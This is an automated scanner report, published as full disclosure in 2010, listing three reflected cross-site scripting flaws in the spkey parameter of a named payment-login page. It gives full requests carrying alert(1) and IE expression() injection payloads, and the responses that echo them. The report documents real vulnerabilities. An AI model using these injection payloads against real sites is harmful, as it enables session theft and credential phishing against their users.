Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by Hoyt LLC at Thu Oct 28 14:36:32 CDT 2010.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. https://idp.securepaynet.net/Error.aspx [spkey parameter]

1.2. https://idp.securepaynet.net/Error.aspx [spkey parameter]

1.3. https://idp.securepaynet.net/Error.aspx [spkey parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://idp.securepaynet.net/Error.aspx [spkey parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /Error.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf705"%3balert(1)//3223f05bd1e was submitted in the spkey parameter. This input was echoed as bf705";alert(1)//3223f05bd1e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Error.aspx?ci=9106&prog_id=459465&spkey=bf705"%3balert(1)//3223f05bd1e&signalnonorig=https%3a%2f%2fmya.securepaynet.net%2flogin_redirect.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9
Host: idp.securepaynet.net
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Response

HTTP/1.1 200 OK
Date: Thu, 28 Oct 2010 19:20:01 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=1e1thb55xveq1r5555dzs555; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 87597


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
repaynet.net/";
var pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459465&spkey=bf705";alert(1)//3223f05bd1e"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459465";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

1.2. https://idp.securepaynet.net/Error.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /Error.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7a9c8%3balert(1)//a2c2c07cfc2 was submitted in the spkey parameter. This input was echoed as 7a9c8;alert(1)//a2c2c07cfc2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Error.aspx?ci=9106&prog_id=459465&spkey=SPSWB190CORPWEB146d8e1b%22style%3d%22x%3aexpression(alert(1))%226727b9787235d06547a9c8%3balert(1)//a2c2c07cfc2&signalnonorig=https%3a%2f%2fmya.securepaynet.net%2flogin_redirect.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9
Host: idp.securepaynet.net
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Response

HTTP/1.1 200 OK
Date: Thu, 28 Oct 2010 19:20:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=illjjc45eohxgfmfngwl2c2d; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 88181


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459465&spkey=SPSWB190CORPWEB146d8e1b"style="x:expression(alert(1))"6727b9787235d06547a9c8;alert(1)//a2c2c07cfc2"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459465";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

1.3. https://idp.securepaynet.net/Error.aspx [spkey parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /Error.aspx

Issue detail

The value of the spkey request parameter is copied into the name of an HTML tag attribute. The payload 8ef09%20style%3dx%3aexpression(alert(1))%2001e9e2bc7f8 was submitted in the spkey parameter. This input was echoed as 8ef09 style=x:expression(alert(1)) 01e9e2bc7f8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /Error.aspx?ci=9106&prog_id=459465&spkey=SPSWB190CORPWEB146d8e1b%22style%3d%22x%3aexpression(alert(1))%226727b9787235d06548ef09%20style%3dx%3aexpression(alert(1))%2001e9e2bc7f8&signalnonorig=https%3a%2f%2fmya.securepaynet.net%2flogin_redirect.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9
Host: idp.securepaynet.net
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Response

HTTP/1.1 200 OK
Date: Thu, 28 Oct 2010 19:19:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=bxgpae55bnwkfpn44qppt045; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 88331


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
n: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&amp;prog_id=459465&amp;spkey=SPSWB190CORPWEB146d8e1b"style="x:expression(alert(1))"6727b9787235d06548ef09 style=x:expression(alert(1)) 01e9e2bc7f8" onSubmit="return pchj_login_action(this);">
...[SNIP]...

Report generated by Hoyt LLC at Thu Oct 28 14:36:32 CDT 2010.